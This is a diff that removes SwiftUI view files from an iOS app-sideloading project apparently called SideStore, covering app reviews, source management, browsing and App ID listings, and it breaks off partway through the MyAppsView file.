||||
|
||||
static let context = DatabaseManager.shared.viewContext
|
||||
static let app = StoreApp.makeAltStoreApp(in: context)
|
||||
|
||||
static var previews: some View {
|
||||
NavigationView {
|
||||
AppVersionHistoryView(storeApp: app)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,102 +0,0 @@
|
||||
//
|
||||
// WriteAppReviewView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 19.02.23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import AltStoreCore
|
||||
|
||||
struct WriteAppReviewView: View {
|
||||
@Environment(\.dismiss) var dismiss
|
||||
|
||||
let storeApp: StoreApp
|
||||
|
||||
@State var currentRating = 0
|
||||
@State var reviewText = ""
|
||||
|
||||
var canSendReview: Bool {
|
||||
// Only allow the user to send the review if a rating has been set and
|
||||
// the review text is either empty or doesn't contain only whitespaces.
|
||||
self.currentRating > 0 && (
|
||||
self.reviewText.isEmpty || !self.reviewText.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty
|
||||
)
|
||||
}
|
||||
|
||||
var body: some View {
|
||||
List {
|
||||
// App Information
|
||||
HStack {
|
||||
AppIconView(iconUrl: storeApp.iconURL, size: 50)
|
||||
VStack(alignment: .leading) {
|
||||
Text(storeApp.name)
|
||||
.bold()
|
||||
Text(storeApp.developerName)
|
||||
.font(.callout)
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
}
|
||||
|
||||
// Rating
|
||||
Section {
|
||||
HStack {
|
||||
Spacer()
|
||||
ForEach(1...5) { rating in
|
||||
SwiftUI.Button {
|
||||
self.currentRating = rating
|
||||
} label: {
|
||||
Image(systemSymbol: rating > self.currentRating ? .star : .starFill)
|
||||
.resizable()
|
||||
.aspectRatio(contentMode: .fit)
|
||||
}
|
||||
.buttonStyle(PlainButtonStyle())
|
||||
.frame(maxHeight: 40)
|
||||
}
|
||||
Spacer()
|
||||
}
|
||||
.foregroundColor(.yellow)
|
||||
} header: {
|
||||
Text("Rate the App")
|
||||
}
|
||||
|
||||
// Review
|
||||
Section {
|
||||
TextEditor(text: self.$reviewText)
|
||||
.frame(minHeight: 100, maxHeight: 250)
|
||||
} header: {
|
||||
Text("Leave a Review (optional)")
|
||||
}
|
||||
}
|
||||
.navigationTitle("Write a Review")
|
||||
.toolbar {
|
||||
ToolbarItem(placement: .cancellationAction) {
|
||||
SwiftUI.Button("Cancel", action: self.dismiss)
|
||||
}
|
||||
|
||||
ToolbarItem(placement: .confirmationAction) {
|
||||
SwiftUI.Button("Send", action: self.sendReview)
|
||||
.disabled(!self.canSendReview)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private func sendReview() {
|
||||
NotificationManager.shared.showNotification(title: "Feature not Implemented")
|
||||
self.dismiss()
|
||||
}
|
||||
}
|
||||
|
||||
struct WriteAppReviewView_Previews: PreviewProvider {
|
||||
|
||||
static let context = DatabaseManager.shared.viewContext
|
||||
static let app = StoreApp.makeAltStoreApp(in: context)
|
||||
|
||||
static var previews: some View {
|
||||
NavigationView {
|
||||
WriteAppReviewView(storeApp: app)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,56 +0,0 @@
|
||||
//
|
||||
// AddSourceView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 20.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import SFSafeSymbols
|
||||
|
||||
struct AddSourceView: View {
|
||||
|
||||
@State var sourceUrlText: String = ""
|
||||
|
||||
var continueHandler: (_ urlText: String) -> ()
|
||||
|
||||
var body: some View {
|
||||
List {
|
||||
Section {
|
||||
TextField("https://connect.altstore.ml", text: $sourceUrlText)
|
||||
.keyboardType(.URL)
|
||||
.autocapitalization(.none)
|
||||
.autocorrectionDisabled()
|
||||
} header: {
|
||||
Text(L10n.AddSourceView.sourceURL)
|
||||
} footer: {
|
||||
VStack(alignment: .leading, spacing: 4) {
|
||||
Text(L10n.AddSourceView.sourceWarning)
|
||||
|
||||
HStack(alignment: .top) {
|
||||
Image(systemSymbol: .exclamationmarkTriangleFill)
|
||||
|
||||
Text(L10n.AddSourceView.sourceWarningContinued)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
SwiftUI.Button {
|
||||
self.continueHandler(self.sourceUrlText)
|
||||
} label: {
|
||||
Text(L10n.AddSourceView.continue)
|
||||
}
|
||||
.disabled(URL(string: self.sourceUrlText)?.host == nil)
|
||||
}
|
||||
.listStyle(InsetGroupedListStyle())
|
||||
.navigationTitle(L10n.AddSourceView.title)
|
||||
.navigationBarTitleDisplayMode(.inline)
|
||||
}
|
||||
}
|
||||
|
||||
struct AddSourceView_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
AddSourceView(continueHandler: { _ in })
|
||||
}
|
||||
}
|
||||
@@ -1,42 +0,0 @@
|
||||
//
|
||||
// BrowseAppPreviewView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 20.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import AsyncImage
|
||||
import AltStoreCore
|
||||
|
||||
struct BrowseAppPreviewView: View {
|
||||
let storeApp: StoreApp
|
||||
|
||||
var body: some View {
|
||||
VStack(spacing: 16) {
|
||||
AppRowView(app: storeApp)
|
||||
|
||||
if let subtitle = storeApp.subtitle {
|
||||
Text(subtitle)
|
||||
.multilineTextAlignment(.center)
|
||||
}
|
||||
|
||||
if !storeApp.screenshotURLs.isEmpty {
|
||||
HStack {
|
||||
ForEach(storeApp.screenshotURLs.prefix(2)) { url in
|
||||
AppScreenshot(url: url)
|
||||
}
|
||||
}
|
||||
.frame(height: 300)
|
||||
.shadow(radius: 8)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//struct BrowseAppPreviewView_Previews: PreviewProvider {
|
||||
// static var previews: some View {
|
||||
// BrowseAppPreviewView()
|
||||
// }
|
||||
//}
|
||||
@@ -1,165 +0,0 @@
|
||||
//
|
||||
// BrowseView.swift
|
||||
// SideStoreUI
|
||||
//
|
||||
// Created by Fabian Thies on 18.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import SFSafeSymbols
|
||||
import AltStoreCore
|
||||
|
||||
struct BrowseView: View {
|
||||
@SwiftUI.FetchRequest(sortDescriptors: [
|
||||
NSSortDescriptor(keyPath: \StoreApp.sourceIdentifier, ascending: true),
|
||||
NSSortDescriptor(keyPath: \StoreApp.sortIndex, ascending: true),
|
||||
NSSortDescriptor(keyPath: \StoreApp.name, ascending: true),
|
||||
NSSortDescriptor(keyPath: \StoreApp.bundleIdentifier, ascending: true)
|
||||
], predicate: NSPredicate(format: "%K != %@", #keyPath(StoreApp.bundleIdentifier), StoreApp.altstoreAppID))
|
||||
var apps: FetchedResults<StoreApp>
|
||||
|
||||
var filteredApps: [StoreApp] {
|
||||
apps.items(matching: self.searchText)
|
||||
}
|
||||
|
||||
@State
|
||||
var selectedStoreApp: StoreApp?
|
||||
|
||||
@State var searchText = ""
|
||||
|
||||
@State var isShowingSourcesView = false
|
||||
|
||||
var body: some View {
|
||||
ScrollView {
|
||||
VStack(alignment: .leading) {
|
||||
if searchText.isEmpty {
|
||||
VStack(alignment: .leading, spacing: 32) {
|
||||
promotedCategoriesView
|
||||
|
||||
Text(L10n.BrowseView.Section.AllApps.title)
|
||||
.font(.title2)
|
||||
.bold()
|
||||
}
|
||||
}
|
||||
|
||||
if searchText.isEmpty, filteredApps.count == 0 {
|
||||
HintView {
|
||||
Text(L10n.BrowseView.Hints.NoApps.title)
|
||||
.bold()
|
||||
|
||||
Text(L10n.BrowseView.Hints.NoApps.text)
|
||||
.font(.callout)
|
||||
.foregroundColor(.secondary)
|
||||
|
||||
SwiftUI.Button {
|
||||
self.isShowingSourcesView = true
|
||||
} label: {
|
||||
Label(L10n.BrowseView.Hints.NoApps.addSource, systemSymbol: .plus)
|
||||
}
|
||||
.buttonStyle(FilledButtonStyle())
|
||||
.padding(.top, 8)
|
||||
}
|
||||
} else {
|
||||
LazyVStack(spacing: 32) {
|
||||
ForEach(filteredApps, id: \.bundleIdentifier) { app in
|
||||
NavigationLink {
|
||||
AppDetailView(storeApp: app)
|
||||
} label: {
|
||||
BrowseAppPreviewView(storeApp: app)
|
||||
}
|
||||
.buttonStyle(PlainButtonStyle())
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
.padding()
|
||||
.searchable(text: self.$searchText, placeholder: L10n.BrowseView.search)
|
||||
}
|
||||
.background(Color(UIColor.systemGroupedBackground).ignoresSafeArea())
|
||||
.navigationTitle(L10n.BrowseView.title)
|
||||
.toolbar {
|
||||
ToolbarItem(placement: .navigationBarLeading) {
|
||||
SwiftUI.Button {
|
||||
self.isShowingSourcesView = true
|
||||
} label: {
|
||||
Text(L10n.BrowseView.Actions.sources)
|
||||
}
|
||||
.sheet(isPresented: self.$isShowingSourcesView) {
|
||||
NavigationView {
|
||||
SourcesView()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ToolbarItem(placement: .navigationBarTrailing) {
|
||||
SwiftUI.Button {
|
||||
|
||||
} label: {
|
||||
Image(systemSymbol: .lineHorizontal3DecreaseCircle)
|
||||
.imageScale(.large)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var promotedCategoriesView: some View {
|
||||
VStack {
|
||||
HStack {
|
||||
Text(L10n.BrowseView.Section.PromotedCategories.title)
|
||||
.font(.title2)
|
||||
.bold()
|
||||
Spacer()
|
||||
SwiftUI.Button(action: {}, label: {
|
||||
Text(L10n.BrowseView.Section.PromotedCategories.showAll)
|
||||
})
|
||||
.font(.callout)
|
||||
}
|
||||
|
||||
LazyVGrid(columns: [GridItem(.flexible()), GridItem(.flexible())]) {
|
||||
PromotedCategoryView()
|
||||
.shadow(color: .black.opacity(0.1), radius: 8, y: 5)
|
||||
|
||||
PromotedCategoryView()
|
||||
.shadow(color: .black.opacity(0.1), radius: 8, y: 5)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct BrowseView_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
NavigationView {
|
||||
BrowseView()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
struct PromotedCategoryView: View {
|
||||
|
||||
var body: some View {
|
||||
ZStack {
|
||||
GeometryReader { proxy in
|
||||
RadialGradient(colors: [
|
||||
Color(UIColor(hexString: "477E84")!),
|
||||
Color(UIColor.secondarySystemBackground),
|
||||
Color(UIColor.secondarySystemBackground),
|
||||
Color(UIColor(hexString: "C38FF5")!)
|
||||
], center: .bottomLeading, startRadius: 0, endRadius: proxy.size.width)
|
||||
}
|
||||
|
||||
HStack {
|
||||
Image(systemSymbol: .dpadRightFill)
|
||||
Text(L10n.BrowseView.Categories.gamesAndEmulators)
|
||||
.multilineTextAlignment(.leading)
|
||||
}
|
||||
.foregroundColor(.accentColor)
|
||||
.padding()
|
||||
}
|
||||
.aspectRatio(21/9, contentMode: .fill)
|
||||
.frame(maxWidth: .infinity)
|
||||
.clipShape(RoundedRectangle(cornerRadius: 12))
|
||||
}
|
||||
}
|
||||
@@ -1,105 +0,0 @@
|
||||
//
|
||||
// ConfirmAddSourceView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 18.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import SFSafeSymbols
|
||||
import AltStoreCore
|
||||
|
||||
struct ConfirmAddSourceView: View {
|
||||
|
||||
let fetchedSource: FetchedSource
|
||||
var source: Source {
|
||||
fetchedSource.source
|
||||
}
|
||||
|
||||
var confirmationHandler: (_ source: FetchedSource) -> ()
|
||||
var cancellationHandler: () -> ()
|
||||
|
||||
var body: some View {
|
||||
VStack(alignment: .leading) {
|
||||
List {
|
||||
Section {
|
||||
VStack(alignment: .leading) {
|
||||
Text("\(source.apps.count) \(L10n.ConfirmAddSourceView.apps)")
|
||||
|
||||
Text(source.apps.map { $0.name }.joined(separator: ", "))
|
||||
.font(.callout)
|
||||
.lineLimit(1)
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
|
||||
VStack() {
|
||||
Text("\(source.newsItems.count) \(L10n.ConfirmAddSourceView.newsItems)")
|
||||
}
|
||||
} header: {
|
||||
Text(L10n.ConfirmAddSourceView.sourceContents)
|
||||
}
|
||||
|
||||
Section {
|
||||
VStack(alignment: .leading) {
|
||||
Text(L10n.ConfirmAddSourceView.sourceIdentifier)
|
||||
Text(source.identifier)
|
||||
.font(.callout)
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
|
||||
VStack(alignment: .leading) {
|
||||
Text(L10n.ConfirmAddSourceView.sourceURL)
|
||||
Text(source.sourceURL.absoluteString)
|
||||
.font(.callout)
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
} header: {
|
||||
Text(L10n.ConfirmAddSourceView.sourceInfo)
|
||||
}
|
||||
}
|
||||
.listStyle(InsetGroupedListStyle())
|
||||
|
||||
Spacer()
|
||||
|
||||
SwiftUI.Button {
|
||||
confirmationHandler(fetchedSource)
|
||||
} label: {
|
||||
Label(L10n.ConfirmAddSourceView.addSource, systemSymbol: .plus)
|
||||
}
|
||||
.buttonStyle(FilledButtonStyle())
|
||||
.padding()
|
||||
}
|
||||
.background(Color(UIColor.systemGroupedBackground).ignoresSafeArea())
|
||||
.toolbar {
|
||||
ToolbarItemGroup(placement: .navigationBarTrailing) {
|
||||
SwiftUI.Button {
|
||||
|
||||
} label: {
|
||||
Image(systemSymbol: .xmarkCircleFill)
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
ToolbarItemGroup(placement: .navigation) {
|
||||
VStack(alignment: .leading) {
|
||||
Text(source.name)
|
||||
.font(.title3)
|
||||
.bold()
|
||||
|
||||
Text(source.identifier)
|
||||
.font(.callout)
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
}
|
||||
}
|
||||
.navigationBarTitleDisplayMode(.inline)
|
||||
}
|
||||
}
|
||||
|
||||
struct ConfirmAddSourceView_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
AddSourceView(continueHandler: { _ in })
|
||||
}
|
||||
}
|
||||
@@ -1,300 +0,0 @@
|
||||
//
|
||||
// SourcesView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 20.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import SFSafeSymbols
|
||||
import AltStoreCore
|
||||
import CoreData
|
||||
|
||||
struct SourcesView: View {
|
||||
|
||||
@Environment(\.dismiss)
|
||||
private var dismiss
|
||||
|
||||
@Environment(\.managedObjectContext)
|
||||
var managedObjectContext
|
||||
|
||||
@SwiftUI.FetchRequest(sortDescriptors: [
|
||||
NSSortDescriptor(keyPath: \Source.name, ascending: true),
|
||||
NSSortDescriptor(keyPath: \Source.sourceURL, ascending: true),
|
||||
NSSortDescriptor(keyPath: \Source.identifier, ascending: true)
|
||||
])
|
||||
var installedSources: FetchedResults<Source>
|
||||
|
||||
@State var trustedSources: [Source] = []
|
||||
@State private var isLoadingTrustedSources: Bool = false
|
||||
@State private var sourcesFetchContext: NSManagedObjectContext?
|
||||
|
||||
@State var isShowingAddSourceAlert = false
|
||||
@State var sourceToConfirm: FetchedSource?
|
||||
|
||||
var body: some View {
|
||||
ScrollView {
|
||||
LazyVStack(alignment: .leading, spacing: 24) {
|
||||
// Installed Sources
|
||||
LazyVStack(alignment: .leading, spacing: 12) {
|
||||
Text(L10n.SourcesView.sourcesDescription)
|
||||
.font(.callout)
|
||||
.foregroundColor(.secondary)
|
||||
|
||||
ForEach(installedSources, id: \.identifier) { source in
|
||||
|
||||
VStack(alignment: .leading) {
|
||||
Text(source.name)
|
||||
.bold()
|
||||
|
||||
Text(source.sourceURL.absoluteString)
|
||||
.font(.callout)
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
.frame(maxWidth: .infinity, alignment: .leading)
|
||||
.padding()
|
||||
.tintedBackground(.accentColor)
|
||||
.clipShape(RoundedRectangle(cornerRadius: 24, style: .circular))
|
||||
.if(source.identifier != Source.altStoreIdentifier) { view in
|
||||
view.contextMenu(ContextMenu(menuItems: {
|
||||
SwiftUI.Button {
|
||||
self.removeSource(source)
|
||||
} label: {
|
||||
Label(L10n.SourcesView.remove, systemSymbol: .trash)
|
||||
}
|
||||
}))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Trusted Sources
|
||||
LazyVStack(alignment: .leading, spacing: 16) {
|
||||
HStack(spacing: 4) {
|
||||
Text(L10n.SourcesView.trustedSources)
|
||||
.font(.title3)
|
||||
.bold()
|
||||
|
||||
Image(systemSymbol: .shieldLefthalfFill)
|
||||
.foregroundColor(.accentColor)
|
||||
}
|
||||
|
||||
Text(L10n.SourcesView.reviewedText)
|
||||
.font(.callout)
|
||||
.foregroundColor(.secondary)
|
||||
|
||||
if self.isLoadingTrustedSources {
|
||||
ProgressView()
|
||||
.progressViewStyle(CircularProgressViewStyle())
|
||||
.frame(maxWidth: .infinity)
|
||||
} else {
|
||||
ForEach(self.trustedSources, id: \.sourceURL) { source in
|
||||
|
||||
HStack {
|
||||
VStack(alignment: .leading) {
|
||||
Text(source.name)
|
||||
.bold()
|
||||
|
||||
Text(source.sourceURL.absoluteString)
|
||||
.font(.callout)
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
|
||||
Spacer()
|
||||
|
||||
if self.installedSources.contains(where: { $0.sourceURL == source.sourceURL }) {
|
||||
Image(systemSymbol: .checkmarkCircle)
|
||||
.foregroundColor(.accentColor)
|
||||
} else {
|
||||
SwiftUI.Button {
|
||||
self.fetchSource(with: source.sourceURL.absoluteString)
|
||||
} label: {
|
||||
Text("ADD")
|
||||
.bold()
|
||||
}
|
||||
.buttonStyle(PillButtonStyle(tintColor: Asset.accentColor.color, progress: nil))
|
||||
}
|
||||
}
|
||||
.frame(maxWidth: .infinity, alignment: .leading)
|
||||
.padding()
|
||||
.tintedBackground(.accentColor)
|
||||
.clipShape(RoundedRectangle(cornerRadius: 24, style: .circular))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
.padding()
|
||||
}
|
||||
.navigationTitle(L10n.SourcesView.sources)
|
||||
.toolbar {
|
||||
ToolbarItem(placement: .navigationBarLeading) {
|
||||
SwiftUI.Button {
|
||||
self.isShowingAddSourceAlert = true
|
||||
} label: {
|
||||
Image(systemSymbol: .plus)
|
||||
}
|
||||
.sheet(isPresented: self.$isShowingAddSourceAlert) {
|
||||
NavigationView {
|
||||
AddSourceView(continueHandler: fetchSource(with:))
|
||||
}
|
||||
}
|
||||
.sheet(item: self.$sourceToConfirm) { source in
|
||||
if #available(iOS 16.0, *) {
|
||||
NavigationView {
|
||||
ConfirmAddSourceView(fetchedSource: source, confirmationHandler: addSource(_:)) {
|
||||
self.sourceToConfirm = nil
|
||||
}
|
||||
}
|
||||
.presentationDetents([.medium])
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ToolbarItem(placement: .navigationBarTrailing) {
|
||||
SwiftUI.Button(action: self.dismiss) {
|
||||
Text(L10n.SourcesView.done).bold()
|
||||
}
|
||||
}
|
||||
}
|
||||
.onAppear(perform: self.fetchTrustedSources)
|
||||
}
|
||||
|
||||
|
||||
func fetchSource(with urlText: String) {
|
||||
self.isShowingAddSourceAlert = false
|
||||
|
||||
guard let url = URL(string: urlText) else {
|
||||
return
|
||||
}
|
||||
|
||||
let context = DatabaseManager.shared.persistentContainer.newBackgroundSavingViewContext()
|
||||
|
||||
AppManager.shared.fetchSource(sourceURL: url, managedObjectContext: context) { result in
|
||||
|
||||
switch result {
|
||||
case let .success(source):
|
||||
self.sourceToConfirm = FetchedSource(source: source, context: context)
|
||||
case let .failure(error):
|
||||
print(error)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func addSource(_ source: FetchedSource) {
|
||||
source.context.perform {
|
||||
do {
|
||||
try source.context.save()
|
||||
} catch {
|
||||
print(error)
|
||||
NotificationManager.shared.reportError(error: error)
|
||||
}
|
||||
}
|
||||
|
||||
self.sourceToConfirm = nil
|
||||
}
|
||||
|
||||
func removeSource(_ source: Source) {
|
||||
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
|
||||
let source = context.object(with: source.objectID) as! Source
|
||||
context.delete(source)
|
||||
|
||||
do {
|
||||
try context.save()
|
||||
} catch {
|
||||
print(error)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func fetchTrustedSources() {
|
||||
self.isLoadingTrustedSources = true
|
||||
|
||||
AppManager.shared.fetchTrustedSources { result in
|
||||
|
||||
switch result {
|
||||
case .success(let trustedSources):
|
||||
// Cache trusted source IDs.
|
||||
UserDefaults.shared.trustedSourceIDs = trustedSources.map { $0.identifier }
|
||||
|
||||
// Don't show sources without a sourceURL.
|
||||
let featuredSourceURLs = trustedSources.compactMap { $0.sourceURL }
|
||||
|
||||
// This context is never saved, but keeps the managed sources alive.
|
||||
let context = DatabaseManager.shared.persistentContainer.newBackgroundSavingViewContext()
|
||||
self.sourcesFetchContext = context
|
||||
|
||||
let dispatchGroup = DispatchGroup()
|
||||
|
||||
var sourcesByURL = [URL: Source]()
|
||||
var errors: [(error: Error, sourceURL: URL)] = []
|
||||
|
||||
for sourceURL in featuredSourceURLs {
|
||||
dispatchGroup.enter()
|
||||
|
||||
AppManager.shared.fetchSource(sourceURL: sourceURL, managedObjectContext: context) { result in
|
||||
defer {
|
||||
dispatchGroup.leave()
|
||||
}
|
||||
|
||||
// Serialize access to sourcesByURL.
|
||||
context.performAndWait {
|
||||
switch result
|
||||
{
|
||||
case .failure(let error): errors.append((error, sourceURL))
|
||||
case .success(let source): sourcesByURL[source.sourceURL] = source
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
dispatchGroup.notify(queue: .main) {
|
||||
if let (error, _) = errors.first {
|
||||
NotificationManager.shared.reportError(error: error)
|
||||
} else {
|
||||
let sources = featuredSourceURLs.compactMap { sourcesByURL[$0] }
|
||||
self.trustedSources = sources
|
||||
}
|
||||
|
||||
self.isLoadingTrustedSources = false
|
||||
}
|
||||
|
||||
case .failure(let error):
|
||||
NotificationManager.shared.reportError(error: error)
|
||||
self.isLoadingTrustedSources = false
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct SourcesView_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
Color.clear
|
||||
.sheet(isPresented: .constant(true)) {
|
||||
NavigationView {
|
||||
SourcesView()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
extension Source: Identifiable {
|
||||
public var id: String {
|
||||
self.identifier
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
struct FetchedSource: Identifiable {
|
||||
let source: Source
|
||||
let context: NSManagedObjectContext
|
||||
|
||||
var id: String {
|
||||
source.identifier
|
||||
}
|
||||
|
||||
init(source: Source, context: NSManagedObjectContext) {
|
||||
self.source = source
|
||||
self.context = context
|
||||
}
|
||||
}
|
||||
@@ -1,54 +0,0 @@
|
||||
//
|
||||
// AppAction.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 20.12.22.
|
||||
// Copyright © 2022 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import SFSafeSymbols
|
||||
|
||||
enum AppAction: Int, CaseIterable {
|
||||
case install, open, refresh
|
||||
case activate, deactivate
|
||||
case remove
|
||||
case enableJIT
|
||||
case backup, exportBackup, restoreBackup
|
||||
case chooseCustomIcon, resetCustomIcon
|
||||
|
||||
|
||||
var title: String {
|
||||
switch self {
|
||||
case .install: return L10n.AppAction.install
|
||||
case .open: return L10n.AppAction.open
|
||||
case .refresh: return L10n.AppAction.refresh
|
||||
case .activate: return L10n.AppAction.activate
|
||||
case .deactivate: return L10n.AppAction.deactivate
|
||||
case .remove: return L10n.AppAction.remove
|
||||
case .enableJIT: return L10n.AppAction.enableJIT
|
||||
case .backup: return L10n.AppAction.backup
|
||||
case .exportBackup: return L10n.AppAction.exportBackup
|
||||
case .restoreBackup: return L10n.AppAction.restoreBackup
|
||||
case .chooseCustomIcon: return L10n.AppAction.chooseCustomIcon
|
||||
case .resetCustomIcon: return L10n.AppAction.resetIcon
|
||||
}
|
||||
}
|
||||
|
||||
var symbol: SFSymbol {
|
||||
switch self {
|
||||
case .install: return .squareAndArrowDown
|
||||
case .open: return .arrowUpForwardApp
|
||||
case .refresh: return .arrowClockwise
|
||||
case .activate: return .checkmarkCircle
|
||||
case .deactivate: return .xmarkCircle
|
||||
case .remove: return .trash
|
||||
case .enableJIT: return .bolt
|
||||
case .backup: return .docOnDoc
|
||||
case .exportBackup: return .arrowUpDoc
|
||||
case .restoreBackup: return .arrowDownDoc
|
||||
case .chooseCustomIcon: return .photo
|
||||
case .resetCustomIcon: return .arrowUturnLeft
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,119 +0,0 @@
|
||||
//
|
||||
// AppIDsView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 23.12.22.
|
||||
// Copyright © 2022 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import AltStoreCore
|
||||
|
||||
struct AppIDsView: View {
|
||||
|
||||
@Environment(\.dismiss) var dismiss
|
||||
|
||||
@SwiftUI.FetchRequest(sortDescriptors: [
|
||||
NSSortDescriptor(keyPath: \AppID.name, ascending: true),
|
||||
NSSortDescriptor(keyPath: \AppID.bundleIdentifier, ascending: true),
|
||||
NSSortDescriptor(keyPath: \AppID.expirationDate, ascending: true)
|
||||
], predicate: NSPredicate(format: "%K == %@", #keyPath(AppID.team), DatabaseManager.shared.activeTeam() ?? Team()))
|
||||
var appIDs: FetchedResults<AppID>
|
||||
|
||||
@State var isLoading: Bool = false
|
||||
|
||||
|
||||
var body: some View {
|
||||
ScrollView {
|
||||
LazyVStack(alignment: .leading) {
|
||||
Text(L10n.AppIDsView.description)
|
||||
.foregroundColor(.secondary)
|
||||
|
||||
ForEach(appIDs, id: \.identifier) { appId in
|
||||
HStack {
|
||||
VStack(alignment: .leading) {
|
||||
Text(appId.name)
|
||||
.bold()
|
||||
|
||||
Text(appId.bundleIdentifier)
|
||||
.font(.footnote)
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
|
||||
Spacer()
|
||||
|
||||
if let expirationDate = appId.expirationDate {
|
||||
VStack(spacing: 4) {
|
||||
Text("Expires in")
|
||||
.font(.caption)
|
||||
.foregroundColor(.accentColor)
|
||||
|
||||
SwiftUI.Button {
|
||||
|
||||
} label: {
|
||||
Text(DateFormatterHelper.string(forExpirationDate: expirationDate).uppercased())
|
||||
.bold()
|
||||
}
|
||||
.buttonStyle(PillButtonStyle(tintColor: .altPrimary))
|
||||
.disabled(true)
|
||||
}
|
||||
}
|
||||
}
|
||||
.padding()
|
||||
.tintedBackground(.accentColor)
|
||||
.clipShape(RoundedRectangle(cornerRadius: 24, style: .circular))
|
||||
}
|
||||
}
|
||||
.padding()
|
||||
}
|
||||
.navigationTitle(L10n.AppIDsView.title)
|
||||
.toolbar {
|
||||
ToolbarItem(placement: .cancellationAction) {
|
||||
if self.isLoading {
|
||||
ProgressView()
|
||||
.progressViewStyle(.circular)
|
||||
}
|
||||
}
|
||||
|
||||
ToolbarItem(placement: .confirmationAction) {
|
||||
SwiftUI.Button(L10n.Action.done, action: self.dismiss)
|
||||
}
|
||||
}
|
||||
.onAppear(performAsync: self.updateAppIDs)
|
||||
}
|
||||
|
||||
|
||||
func updateAppIDs() async {
|
||||
self.isLoading = true
|
||||
defer { self.isLoading = false }
|
||||
|
||||
await withCheckedContinuation { continuation in
|
||||
AppManager.shared.fetchAppIDs { result in
|
||||
do {
|
||||
let (_, context) = try result.get()
|
||||
try context.save()
|
||||
} catch {
|
||||
print(error)
|
||||
NotificationManager.shared.reportError(error: error)
|
||||
}
|
||||
|
||||
continuation.resume()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
extension View {
|
||||
|
||||
func onAppear(performAsync task: @escaping () async -> Void) -> some View {
|
||||
self.onAppear(perform: { Task { await task() } })
|
||||
}
|
||||
}
|
||||
|
||||
struct AppIDsView_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
NavigationView {
|
||||
AppIDsView()
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,437 +0,0 @@
|
||||
//
|
||||
// MyAppsView.swift
|
||||
// SideStoreUI
|
||||
//
|
||||
// Created by Fabian Thies on 18.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import SFSafeSymbols
|
||||
import MobileCoreServices
|
||||
import AltStoreCore
|
||||
|
||||
struct MyAppsView: View {
|
||||
|
||||
// TODO: Refactor
|
||||
@SwiftUI.FetchRequest(sortDescriptors: [
|
||||
NSSortDescriptor(keyPath: \InstalledApp.storeApp?.latestVersion?.date, ascending: true),
|
||||
NSSortDescriptor(keyPath: \InstalledApp.name, ascending: true)
|
||||
], predicate: NSPredicate(format: "%K == YES AND %K != nil AND %K != %K",
|
||||
#keyPath(InstalledApp.isActive), #keyPath(InstalledApp.storeApp),
|
||||
#keyPath(InstalledApp.version), #keyPath(InstalledApp.storeApp.latestVersion.version))
|
||||
)
